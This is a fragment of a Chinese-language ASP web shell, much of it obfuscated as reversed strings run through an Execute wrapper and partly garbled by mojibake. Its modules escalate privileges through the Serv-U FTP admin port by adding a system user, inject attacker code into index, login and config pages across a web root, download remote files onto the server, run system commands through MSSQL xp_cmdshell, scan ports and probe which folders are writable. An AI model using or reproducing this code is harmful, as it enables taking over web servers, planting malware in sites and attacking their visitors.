= 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,¨~¨~;)(timbus.nusdlog.lla.tnemucod¨~¨~(tuoemiTtes¨~ SRR ~¨~;)¨~¨~>retnec<...¨~&ssap&¨~£ºÁî¿Ú,¨~&resu&¨~ :Ãû»§ÓÃÓÃʹ,¨~&trop&¨~:1.0.0.721 ½ÓÁ¬ÔÚÕý>retnec<>rb<¨~¨~(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'2'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~a=)¨~a¨~(noisses tes ~tiuq & resuwen & niamodwen & niamodled & tm & ssapnigol & resunigol dnes.a ~¨~¨~ ,¨~¨~ ,eurT,¨~1s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.a ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=a tes ~neht 1 = 1noitca fi ~)f,¨~:c¨~,resuwen(ecalper=resuwen ~fLrCbv & ¨~TIUQ¨~ = tiuq ~fLrCbv & ¨~PDCLEMAWR|\\:c=sseccA ¨~ & fLrCbv & ¨~enoN=soitaR-¨~ & fLrCbv & ¨~ralugeR=epyTdrowssaP-¨~ & fLrCbv & ¨~metsyS=ecnanetniaM-¨~ ~_ & fLrCbv & ¨~0=mumixaMatouQ-¨~ & fLrCbv & ¨~0=tnerruCatouQ-¨~ & fLrCbv & ¨~0=tiderCsoitaR-¨~ & fLrCbv & ¨~1=nwoDoitaR-¨~ ~_ & fLrCbv & ¨~1=pUoitaR-¨~ & fLrCbv & ¨~0=eripxE-¨~ & fLrCbv & ¨~1-=tuOemiTnoisseS-¨~ & fLrCbv & ¨~006=tuOemiTeldI-¨~ & fLrCbv & ¨~1-=sresUrNxaM-¨~ ~_ & fLrCbv & ¨~0=nwoDtimiLdeepS-¨~ & fLrCbv & ¨~0=pUtimiLdeepS-¨~ & fLrCbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & fLrCbv & ¨~0=elbanEatouQ-¨~ ~_ & fLrCbv & ¨~0=drowssaPegnahC-¨~ & fLrCbv & ¨~0=nigoLwollAsyawlA-¨~ & fLrCbv & ¨~0=neddiHediH-¨~ & fLrCbv & ¨~0=eruceSdeeN-¨~ ~_ & fLrCbv & ¨~1=shtaPleR-¨~ & fLrCbv & ¨~0=elbasiD-¨~ & fLrCbv & ¨~=eliFseMnigoL-¨~ & fLrCbv & ¨~\\:c=riDemoH-¨~ ~_ & fLrCbv & ¨~do=drowssaP-¨~ & fLrCbv & ¨~og=resU-¨~ & fLrCbv & tropptf & ¨~=oNtroP-¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~PUTESRESUTES-¨~ = resuwen ~fLrCbv & ¨~=yeKOZT ¨~ & fLrCbv & ¨~0=elbanEOZT-¨~ & fLrCbv & ¨~0|1|1-|¨~ & tropptf & ¨~|0.0.0.0|4112903=niamoD-¨~ & fLrCbv & ¨~NIAMODTES-¨~ = niamodwen ~fLrCbv & ¨~ECNANETNIAM ETIS¨~ = tm ~fLrCbv & tropptf & ¨~=oNtroP ¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~NIAMODETELED-¨~ = niamodled ~fLrCbv & ssap & ¨~ ssaP¨~ = ssapnigol ~fLrCbv & resu & ¨~ resU¨~ = resunigol ~3=tuoemit ~00556 = tropptf ~fi dne ~)2,f(tfel=f ~esle ~)(htapg=f ~neht ¨~¨~=f fi ~))¨~f¨~(tseuqer(mirt=f ~))¨~c¨~(tseuqer(mirt = dmc ~))¨~trop¨~(tseuqer(mirt = trop ~))¨~p¨~(tseuqer(mirt = ssap ~))¨~u¨~(tseuqer(mirt = resu ~dne.esnopser neht )1noitca(ciremunsi ton fi ~)¨~1noitca¨~(tseuqer=1noitca ~1noitca mid ~tiuq ,resuwen ,niamodwen ,tm ,niamodled ,ssapnigol ,resunigol ,dmc ,tropptf ,trop ,ssap ,resu miD" ExeCuTe(UZSS(Hacker)) function Gpath() on error resume next err.clear set f=Server.CreateObject("Scripting.FileSystemObject") if err.number>0 then gpath="c:" exit function end if gpath=f.GetSpecialFolder(0) gpath=lcase(left(gpath,2)) set f=nothing end function Function GName() If request.servervariables("SERVER_PORT")="80" Then GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name")) Else GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name")) End If End Function Err.Clear Case "nofw" Hacker="¨~>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<¨~SRR~¨~>p<>aeratxet/<¨~&)¨~26¨~(rhC&¨~%)¨~¨~1¨~¨~(tseuqer labolGetucexE%¨~&)¨~06¨~(rhC&¨~Âë´ú»°¾äһɨ·Àɱ·À> 001=sloc 03=swor txet=eman aeratxet<¨~SRR~¨~>p<>'psa.pleh\¨~&)¨~/¨~(htaPpaM.revreS&¨~'=eulav 04=ezis hTaP=eman txet=epyt tupni<:¼þÎĵÄÈëдHSW-OSFÃâ¨~SRR~¨~>wfon=noitca?=noitca 'tsop'=dohtem mrof<¨~SRR~fi dne~k Etirw.EsnoPsER~noitcnuF dnE~pool~remiT = emiTdnE~n> ¨~&)L(b&¨~ ohce c/¨~=stnemugra.knilllehsjbo~¨~exe.dmc¨~=hTaP.knilllehsjbo~knilteg.mEtiredlofllehs= knilllehsjbo tes~)¨~knl.±¾Ê¼Ǩ~(emanesrap.redlofllehs=mEtiredlofllehs tes~)¨~¼þ¸½\Ðò³Ì\µ¥²Ë¡¹Ê¼¿ª¡¸\rEsU tluafeD\sgnitteS dna stnemucoD\:C¨~(ecapseman.llehs=redlofllehs tes~¨~>rb/<¨~&))L(b(edocnelmth.rEvrES Etirw.EsnoPsER~k OT 1=L roF~)¨~noitacilppa.llehs¨~(tcejboetaerc.rEvrES=llehs tes~txeN~1=nt~fI dnE~)¨~¨~,)01(rhc,)k(b(EcAlpER=)k(b~)i(yarraym=)k(b~)k(b evresERp miDeR~1+k=k~nEht )01(rhc><)i(yarraym dna )31(rhc><)i(yarraym dna ¨~¨~ ><)i(yarraym dna 0=nt fI~txen~fi dne~rof tixe~0=nt~nEht )31(rhc><)1,j,)i(yarraym(dim dna )01(rhc><)1,j,)i(yarraym(dim dna ¨~ ¨~><)1,j,)i(yarraym(dim fi~))i(yarraym(nel ot 1=j rof~)yarraym(dnuoBU ot 0=i roF~))31(rhC,txet(tilpS =yarraym~0=k~)(b miD~yarrAym miD~))43(rhc&¨~^¨~,)43(rhc,txet(EcAlpER=txet~)¨~|^¨~,¨~|¨~,txet(EcAlpER=txet~)¨~+^¨~,¨~+¨~,txet(EcAlpER=txet~)¨~:^¨~,¨~:¨~,txet(EcAlpER=txet~)¨~&^¨~,¨~&¨~,txet(EcAlpER=txet~)¨~<^¨~,¨~<¨~,txet(EcAlpER=txet~)¨~>^¨~,¨~>¨~,txet(EcAlpER=txet~)¨~^^¨~,¨~^¨~,txet(EcAlpER=txet~nEht ¨~¨~>µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:")&Server.MapPath("/")&("") ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") if s="" then s=Server.MapPath("/") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") addcode = Request("code") if addcode="" then addcode="" If ex<>"" AND pth<>"" Then select Case ex Case "edit" CALL file_show(pth) Case "save" CALL file_save(pth) End select Else RRS("
") RRS("
") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("
Òª¹ÒÂíµÄÎļþ¼Ð (¾ø¶Ô·¾¶)£º
Òª¹ÒÂíµÄ´úÂë:
") End If Function IsPattern(patt,str) Set regEx=New RegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) Set regEx=Nothing If retVal=True Then IsPattern=True Else IsPattern=False End If End Function if request.form("submit")<>"" then If s="" or addcode="" Then RRS "ÇëÊäÈë¹ÒÂíµÄ·¾¶»ò´úÂë!" response.end else If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s End If end if Sub sch(s) oN eRrOr rEsUmE nExT Set fs=Server.createObject("Scripting.FileSystemObject") Set fd=fs.GetFolder(s) Set fi=fd.Files Set sf=fd.SubFolders For Each f in fi rtn=f.path step_all rtn Next If sf.Count<>0 Then For Each l In sf sch l Next End If End Sub Sub step_all(agr) retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|main|article|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr) If retVal Then step1 agr step2 agr Else Exit Sub End If End Sub Sub step1(str1) RRS "
¡Ì "&str1&" _" RRs "Down " RRS "edit " RRS "Del " RRS "Copy " RRS "Move
" End Sub Sub step2(str2) Set fs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) If isExist Then Set f=fs.GetFile(str2) Set f_addcode=f.OpenAsTextStream(8,-2) f_addcode.Write addcode f_addcode.Close Set f=Nothing End If Set fs=Nothing End Sub Err.Clear Case "replace" Fpath=Request("fd") addcode = Request("code") addcode2 = Request("code2") pcfile=request("pcfile") checkbox=request("checkbox") checkbox1=request("checkbox1") ShowMsg=request("ShowMsg") FType=request("FType") zfile=request("zfile") for i= 0 to ubound(split(server.mappath("."),"\")) d=split(server.mappath("."),"\") dir=dir&d(i)&"\" filename=dir&"dir.txt" On Error Resume Next SET FSO=Server.CreateObject("Scripting.FileSystemObject") SET FR = FSO.CreateTextFile(filename,true) IF NOT FSO.FileExists(filename) then else FR.close FSO.DeleteFile filename,True exit for end if next if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm" if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" if Fpath="\" then Fpath=Server.MapPath("\") if Fpath="." or Fpath="" then Fpath=dir if addcode="" then addcode="" if checkbox="" then checkbox=request("checkbox") if checkbox1="" then checkbox1=request("checkbox1") if pcfile="" then pcfileName=Request.ServerVariables("SCRIPT_NAME") pcfilek=split(pcfileName,"/") pcfilen=ubound(pcfilek) pcfile=pcfilek(pcfilen) end if RRS "

" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "
ÅúÁ¿Ìæ»»Æ÷-ÎļþÌæ»»Ð޸Ť¾ß
 ÍøÕ¾¸ùĿ¼¡°\¡±£º"&Server.MapPath("/")&"
 ±¾³ÌÐòĿ¼¡°.¡±£º"&Server.MapPath(".")&"
 Îļþ·¾¶£º ×¢Òâ:¸Ã·¾¶ÊÇ×î´ó¿ÉдĿ¼(×Ô¶¯Åбð)
 ÊÇ·ñ±äÐδúÂ룺 дÈë´úÂëʱ°Ñ´úÂë±äÐκóдÈëÎļþ - ΪÁË·ÀÖ¹ÅúÁ¿Ìæ»»µô´úÂë,´úÂë100%Õý³£ÔËÐÐ
 ÅųýÎļþ£º ÀýÈ磺1.asp|2.asp|3.asp
 ÎļþÀàÐÍ£º ÊäÈëÒªÐ޸ĵÄÎļþÀàÐÍ[À©Õ¹Ãû]
" RRS" ²éÕÒÄÚÈÝ£º" RRS"
 ½«Ì滻Ϊ£º
--±ê¼Ç½âÊÍ--[³É¹¦£º ¡Ì Åųý£º¡Á Öظ´£º¡Á]
" if request("submit")="¿ªÊ¼Ö´ÐÐ" then RRS "" RRS "" call InsertAllFiles(Fpath,addcode,pcfile) end if Sub InsertAllFiles(Wpath,Wcode,pc) Server.ScriptTimeout=999999999 if right(Wpath,1)<>"\" then Wpath=Wpath &"\" Set WFSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = WFSO.GetFolder(Wpath) Set fc2 = f.files For Each myfile in fc2 Set FS1 = CreateObject("Scripting.FileSystemObject") FType1=split(myfile.name,".") FType2=ubound(FType1) if Ftype2>0 then FType3=LCase(FType1(FType2)) else FType3="ÎÞ" end if if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) NewCode=Replace(tfile1.readall,Wcode,addCode2) Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) objCountFile.Write NewCode objCountFile.Close RRS"" Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers NewPath=Wpath&""&f1.name InsertAllFiles NewPath,Wcode,pc Next set tfile=nothing Set FSO = Nothing set tfile=nothing set tfile2=nothing Set WFSO = Nothing End Sub Case "Logout":Session.Contents.Remove("mgler"):Response.Redirect URL Case Else MainMenu() End Select ShowErr() Sub Message(state,msg,flag) Response.Write "
½á¹ûÎļþ¾ø¶Ô·¾¶±à¼­À¸
¡Ì"&Wpath&myfile.name Set objCountFile=Nothing else RRS"¡Á"&Wpath&myfile.name end if RRS "ÏÂÔØ " RRS "±à¼­ " RRS "ɾ³ý " RRS "¸´ÖÆ
" Response.Write "
" Response.Write "
ϵͳÐÅÏ¢
" Response.Write "" Response.Write " " Response.Write "
"&state&"

"&msg&"
" If flag=0 Then Response.Write "" Else Response.Write "" End if Response.Write "
" End Sub Function Red(str) Red = "" & str & "" End Function Sub ScanDriveForm() 'ɨÃè´ÅÅÌÐÅÏ¢ Dim FSO,DriveB Set FSO = Server.Createobject("Scripting.FileSystemObject") Response.Write "" Response.Write "
" For Each DriveB in FSO.Drives Response.Write "" response.write "" response.write " " response.write "" response.write "" Next Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "
´ÅÅÌ/ϵͳÎļþ¼ÐÐÅÏ¢
ÅÌ·û"&DriveB.DriveLetter&":ÀàÐÍ" Select Case DriveB.DriveType Case 1: Response.write "¿ÉÒƶ¯" Case 2: Response.write "±¾µØÓ²ÅÌ" Case 3: Response.write "ÍøÂç´ÅÅÌ" Case 4: Response.write "CD-ROM" Case 5: Response.write "RAM´ÅÅÌ" Case else: Response.write "δ֪ÀàÐÍ" End Select Response.Write "
WindowsÎļþ¼Ð"&FSO.GetSpecialFolder(0)&"
System32Îļþ¼Ð"&FSO.GetSpecialFolder(1)&"
ϵͳÁÙʱÎļþ¼Ð"&FSO.GetSpecialFolder(2)&"
" Response.Write "" Response.Write "
µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:"&Server.MapPath("/")&"" Response.Write "
Ö¸¶¨Îļþ¼Ð²éѯ£º" Response.Write " " Response.Write "¡¡Ö¸¶¨Îļþ¼Ð·¾¶¡£Èç D:\Program Files\Cs
" Set FSO=Nothing End Sub Sub ScanDrive(Drive) 'ɨÃèÖ¸¶¨´ÅÅÌ Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D If Drive <> "" Then Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestDrive = FSO.GetDrive(Drive) If TestDrive.IsReady Then Temp_Str = "
  • ´ÅÅÌ·ÖÇøÀàÐÍ£º" & Red(TestDrive.FileSystem) & "
  • ´ÅÅÌÐòÁкţº" & Red(TestDrive.SerialNumber) & "
  • ´ÅÅ̹²ÏíÃû£º" & Red(TestDrive.ShareName) & "
  • ´ÅÅÌ×ÜÈÝÁ¿£º" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • ´ÅÅ̾íÃû£º" & Red(TestDrive.VolumeName) & "
  • ´ÅÅ̸ùĿ¼:" & ScReWr((Drive & ":\")) Set BaseFolder = TestDrive.RootFolder Set TempFolders = BaseFolder.SubFolders For Each D in TempFolders Temp_Str = Temp_Str & "
  • Îļþ¼Ð£º" & ScReWr(D) Next Set TempFolder = Nothing Set BaseFolder = Nothing Else Temp_Str = Temp_Str & "
  • ´ÅÅ̸ùĿ¼:" & Red("²»¿É¶Á:(") Dim TempFolderList,t:t=0 Temp_Str = Temp_Str & "
  • " & Red("Çî¾ÙĿ¼²âÊÔ£º") TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") For i = 0 to Ubound(TempFolderList) If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then t = t+1 Temp_Str = Temp_Str & "
  • ·¢ÏÖÎļþ¼Ð£º" & ScReWr(Drive & ":\" & TempFolderList(i)) End if Next If t=0 then Temp_Str = Temp_Str & "
  • ÒÑÇî¾Ù" & Drive & "Å̸ùĿ¼£¬µ«Î´Óз¢ÏÖ:(" End if Set TestDrive = Nothing Set FSO = Nothing Temp_Str = Temp_Str & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Message Drive & ":´ÅÅÌÐÅÏ¢",Temp_Str,1 End if End Sub Sub ScFolder(folder) On Error Resume Next Dim FSO,OFolder,TempFolder,Scmsg,S Set FSO = Server.Createobject("Scripting.FileSystemObject") If FSO.FolderExists(folder) Then Set OFolder = FSO.GetFolder(folder) Set TempFolders = OFolder.SubFolders Scmsg = "
  • Ö¸¶¨Îļþ¼Ð¸ùĿ¼£º" & ScReWr(folder) For Each S in TempFolders Scmsg = Scmsg&"
  • Îļþ¼Ð£º" & ScReWr(S) Next Set TempFolders = Nothing Set OFolder = Nothing Else Scmsg = Scmsg & "
  • Îļþ¼Ð£º" & Red(folder & "²»´æÔÚ»òÎÞ¶ÁȨÏÞ!") End if Scmsg = Scmsg & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Set FSO = Nothing Message "Îļþ¼ÐÐÅÏ¢",Scmsg,1 End Sub Function ScReWr(folder) '1.¿É¶Á,²»¿Éд¡£2.²»¿É¶Á,¿Éд¡£3.¿É¶Á,¿Éд¡£4.²»¿É¶Á,²»¿Éд¡£ On Error Resume Next Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestFolder = FSO.GetFolder(folder) Set TestFileList = TestFolder.SubFolders RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" For Each A in TestFileList Next If err Then err.Clear ReWrStr = folder & " [²»¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End If Else ReWrStr = folder & " [¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End if End if Set TestFileList = Nothing Set TestFolder = Nothing Set FSO = Nothing ScReWr = ReWrStr End Function Function downloads() Hacker="fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~~gnihtoN = maertS teS ~gnihtoN = pttH teS ~ ~)rrE(rrEkhc ~htiW dnE ~esolC. ~fI dnE ~etirWrevo ,htaPeht eliFoTevaS. ~emaNelifteg & ¨~\¨~ & htaPeht = htaPeht ~fI dnE ~¨~txt.hv21¨~ = emaNelifteg ~nehT ¨~¨~ = emaNelifteg fI ~)))¨~/¨~ ,lrUeht(tilpS(dnuoBU()¨~/¨~ ,lrUeht(tilpS = emaNelifteg ~raelC.rrE ~nehT 4003 = rebmuN.rrE fI ~etirWrevo ,htaPeht eliFoTevaS. ~0 = noitisoP. ~ydoBesnopseR.pttH etirW. ~nepO. ~3 = edoM. ~1 = epyT. ~maerts htiW ~ ~fI dnE ~ nehT 4 >< etatSydaeR.pttH fI ~)(dneS.pttH ~eslaF ,lrUeht ,¨~TEG¨~ nepO.pttH ~ ~fI dnE ~1 = etirWrevo ~nehT 2 >< etirWrevo fI ~)¨~PTTHLMX.2LMXSM¨~(tcejbOetaerC.revreS = pttH teS ~)¨~maer¨~&e&¨~ts.bdo¨~&e&¨~da¨~(tcejbOetaerC.revreS = maerts teS ~)¨~etirWrevo¨~(tseuqeR = etirWrevo ~)¨~htaPeht¨~(tseuqeR = htaPeht ~)¨~lrUeht¨~(tseuqeR = lrUeht ~etirWrevo ,emaNelifteg ,maerts ,htaPeht ,lrUeht ,pttH miD ~fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR ~¨~>mrof/<¨~ & WR=WR ~¨~¡£¾¶Â·µØ±¾·Ç¶ø£¬htaPµÄÆ÷Îñ·þÊÇhtaPµÄÀïÕ⣺Òâ×¢;psbn&¨~ & WR=WR ~¨~>rb<>rb<>tcAeht=eman lrUmorFnwod=eulav neddih=epyt tupni<¨~ & WR=WR ~¨~ >' ÔØÏ '=eulav timbus=epyt tupni< ¸Ç¸²ÔÚ´æ>dekcehc 2=eulav etirWrevo=eman xobkcehc=epyt tupni<¨~ & WR=WR ~¨~ >85=ezis ¨~¨~¨~ & ))¨~.¨~(htaPpaM.revreS(edocnElmtH & ¨~¨~¨~=eulav htaPeht=eman tupni<:htaP;psbn&¨~ & WR=WR ~¨~>/rb< >08=ezis '//:ptth'=eulav lrUeht=eman tupni<:rddA;psbn&¨~ & WR=WR ~¨~>tsop=dohtem mrof<>rb<>dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÔØϽÓÖ±>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ =WR" ExeCuTe(UZSS(Hacker)) End Function FuncTion MMD() Hacker="tlusERrts &¨~>rb<¨~ & )¨~DMM¨~(mrof.tsEuqER EtirW.EsnoPsER:gnihtoN = nnoCoda tes:fi dnE:)¨~>rb<¨~,)31(rhc,tlusERrts(EcAlpER = tlusERrts:)¨~;tg&¨~,¨~>¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;tl&¨~,¨~<¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;psbn&¨~,¨~ ¨~,tlusERrts(EcAlpER = tlusERrts:gnihtoN = tlusERcer tes:fi dnE:pooL:txeNevoM.tlusERcer:)0(tlusERcer & )31(rhc & tlusERrts = tlusERrts:FOE.tlusERcer TON elihW oD:nEht FOE.tlusERcer TON fI:)yreuQrts(etucexE.nnoCoda = tlusERcer tes:¨~'¨~ & )¨~DMM¨~(mrof.tsEuqER & ¨~' llehsdmc_px.obd.retsam cexe¨~ = yreuQrts:di&¨~=DI rEsU;¨~&drowsSaP&¨~=drowsSaP;1.BDELOLQS=redivorP¨~ nepO.nnoCoda:)¨~noitcennoC.BDODA¨~(tcejbOetaerC.rEvrES=nnoCoda tes:))¨~U¨~(mrof.tsEuqER(mirt=di:))¨~P¨~(mrof.tsEuqER(mirt =drowsSaP:nEht ¨~¨~><))¨~DMM¨~(mrof.tsEuqER(mirt fI:¨~¨~=IS:IS Etirw.EsnoPsER:¨~>elbat/<>rt/<>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<>ÂëÃÜlqssm=eulav P=eman txet=epyt tupni<>Ãû»§ÓÃlqssm=eulav U=eman txet=epyt tupni<> 53=ezis DMM=eman txet=epyt tupni<ÁîÃüDMC>¨~¨~¨~¨~=noitca tsop=dohtem mrof=eman mrof<>rt=ssalc rt<>¨~¨~%001¨~¨~=htdiw elbat<>rb<¨~=IS" ExeCuTe(UZSS(Hacker)) end Function sub ScanPort() Hacker="FI DNE~¨~Ãë¨~&emiteht&¨~£ºÊ±·Ñ>rh<¨~ etirW.esnopseR~))1remit-2remit(tni(rtsc=emiteht~remit = 2remit~txeN~fI dnE~txeN~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,xxx & tratSpi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~))¨~-¨~,)uh(pi(rtSnI-))uh(pi(neL,1+)¨~-¨~,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)¨~.¨~,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF~))¨~.¨~,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi~eslE~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,)uh(pi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~nehT 0 = )¨~-¨~,)uh(pi(rtSnI fI~)pi(dnuobU ot 0 = uh roF~)¨~,¨~,)¨~pi¨~(mroF.tseuqer(tilpS = pi~)¨~,¨~,)¨~trop¨~(mroF.tseuqer(tilpS = pmt~¨~>rb<>B/<:¸æ±¨Ãèɨ>B<>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR~remit = 1remit~nehT ¨~¨~ >< )¨~nacs¨~(mroF.tseuqer fI~WR etirW.esnopseR~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR~¨~>mrof/<>p/<¨~ & WR=WR~¨~u-vreSΪ85934,¿ØÔ¶CNVΪ0095,¿ØÔ¶erehwynAcpΪ1365£ºÃ÷˵;psbn&>rbrb<>rb<>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<¨~ & WR=WR~¨~>' Ãèɨ '=eulav 'timbus'=epyt 'timbus'=eman tupni<¨~ & WR=WR~¨~;psbn&;psbn&>'¨~&tsiLtroP&¨~'=eulav '06'=ezis 'txet'=epyt 'trop'=eman tupni<;psbn&:tsiL troP;psbn&>rb<¨~ & WR=WR~¨~>'06'=ezis '¨~&PIrevreS&¨~'=eulav 'pi'=di 'txet'=epyt 'pi'=eman tupni<;psbn&:sserddaPI;psbn&>p<¨~ & WR=WR~¨~>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>dt<>rt<¨~ & WR=WR~¨~>rb<>rt/<>dt/<Æ÷Ãèɨ¿Ú¶Ë>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~=WR~fi dne~)¨~pi¨~(mroF.tseuqer=PI~esle~¨~1.0.0.721¨~=PI~neht ¨~¨~=)¨~pi¨~(mroF.tseuqer fi~fi dne~)¨~trop¨~(mroF.tseuqer=tsiLtroP~esle~¨~0095,1365,85934,9833,3341,544,931,531,011,08,52,32,12¨~=tsiLtroP~neht ¨~¨~=)¨~trop¨~(mroF.tseuqer fi~0006777 = tuoemiTtpircS.revreS" ExeCuTe(UZSS(Hacker)) end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=sa;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then RRS(targetip & ":" & portNum & ".........¹Ø±Õ
    ") Else RRS(targetip & ":" & portNum & ".........¿ª·Å
    ") End If End If End If End Sub function sql() if session("login")="" then response.write "
    ûÓеǽ
    " else response.write "
    Í˳öµÇ½
    " end if if session("login")="" then response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write "

     SqlÓû§Ãû£º" response.write "" response.write " SqlÃÜÂ룺" response.write "" response.write "

     Sql·þÎñÆ÷£º" response.write "" response.write " Sql¶Ë¿Ú£º" response.write "" response.write " " response.write "

    " else response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write " ×é¼þ¼ì²â£º

    " response.write "

    " response.write " ×é¼þ»Ö¸´£º

    " response.write "

    " response.write " ÏµÍ³ÃüÁ " response.write "" response.write "  " response.write "" response.write "

    " response.write "
    " response.write "

     Ö´ÐÐÓï¾ä£º" response.write "" response.write "  " response.write "" response.write "


